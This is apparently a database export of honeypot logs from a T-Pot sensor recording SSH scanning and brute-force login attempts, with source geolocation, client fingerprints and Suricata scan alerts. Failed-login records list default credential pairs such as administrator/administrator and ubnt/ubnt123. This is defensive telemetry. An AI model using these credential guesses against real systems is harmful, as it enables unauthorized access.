24150	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:31.283744+03	2021-09-20 14:15:08.408502+03	{"_id": "owbkAnwBvYTbRNuEpRFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [administrator/administrator] failed", "session": "722ab1fe3887", "@version": "1", "password": "administrator", "username": "administrator", "timestamp": "2021-09-20T11:08:31.283744Z", "@timestamp": "2021-09-20T11:08:31.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24151	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:30.943574+03	2021-09-20 14:15:08.409501+03	{"_id": "pQbkAnwBvYTbRNuEpRF9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1113f6e169c1", "@version": "1", "timestamp": "2021-09-20T11:08:30.943574Z", "@timestamp": "2021-09-20T11:08:30.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24152	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:31.042442+03	2021-09-20 14:15:08.41047+03	{"_id": "pgbkAnwBvYTbRNuEpRF9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [user1/user1] failed", "session": "4f6638352544", "@version": "1", "password": "user1", "username": "user1", "timestamp": "2021-09-20T11:08:31.042442Z", "@timestamp": "2021-09-20T11:08:31.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24153	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:31.805171+03	2021-09-20 14:15:08.411501+03	{"_id": "qAbkAnwBvYTbRNuEqBHI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55996, "timestamp": "2021-09-20T11:08:31.805171", "@timestamp": "2021-09-20T11:08:31.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24154	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:31.760885+03	2021-09-20 14:15:08.4125+03	{"_id": "qwbkAnwBvYTbRNuEqBHL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44968, "timestamp": "2021-09-20T11:08:31.760885", "@timestamp": "2021-09-20T11:08:31.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24155	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:32.132261+03	2021-09-20 14:15:08.414511+03	{"_id": "0QbkAnwBvYTbRNuEqxHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1709682258333592, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43756, "dest_port": 22, "timestamp": "2021-09-20T11:08:32.132261Z", "@timestamp": "2021-09-20T11:08:32.132Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24156	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:32.132396+03	2021-09-20 14:15:08.41551+03	{"_id": "0gbkAnwBvYTbRNuErBGx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43756, "timestamp": "2021-09-20T11:08:32.132396", "@timestamp": "2021-09-20T11:08:32.132Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36959	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:17.199917+03	2021-09-20 15:30:02.978869+03	{"_id": "EwYkA3wBvYTbRNuEh2bz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:17.199917Z", "@timestamp": "2021-09-20T12:18:17.199Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24160	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:33.161891+03	2021-09-20 14:15:08.4205+03	{"_id": "7wbkAnwBvYTbRNuErRFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "629a08799b4b", "@version": "1", "timestamp": "2021-09-20T11:08:33.161891Z", "@timestamp": "2021-09-20T11:08:33.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24161	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:33.725207+03	2021-09-20 14:15:08.4215+03	{"_id": "8AbkAnwBvYTbRNuErxGw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1445726453334769, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40748, "dest_port": 22, "timestamp": "2021-09-20T11:08:33.725207Z", "@timestamp": "2021-09-20T11:08:33.725Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24162	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:28.780938+03	2021-09-20 14:15:08.4225+03	{"_id": "ZwbkAnwBvYTbRNuEnRGt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4f6638352544", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:28.780938Z", "@timestamp": "2021-09-20T11:08:28.780Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24163	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:28.565489+03	2021-09-20 14:15:08.423472+03	{"_id": "YAbkAnwBvYTbRNuEnRGt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ubnt/ubnt123] failed", "session": "7bf7f45872e1", "@version": "1", "password": "ubnt123", "username": "ubnt", "timestamp": "2021-09-20T11:08:28.565489Z", "@timestamp": "2021-09-20T11:08:28.565Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24164	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:08:29.4495+03	2021-09-20 14:15:08.4245+03	{"_id": "agbkAnwBvYTbRNuEoBEN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:29.449500+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 829785193176028, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 38000, "dest_port": 22, "timestamp": "2021-09-20T11:08:29.449500Z", "@timestamp": "2021-09-20T11:08:29.449Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24165	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:29.413316+03	2021-09-20 14:15:08.426502+03	{"_id": "cAbkAnwBvYTbRNuEoBH0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34592, "timestamp": "2021-09-20T11:08:29.413316", "@timestamp": "2021-09-20T11:08:29.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24166	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:30.820877+03	2021-09-20 14:15:08.4275+03	{"_id": "lgbkAnwBvYTbRNuEoxH1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": 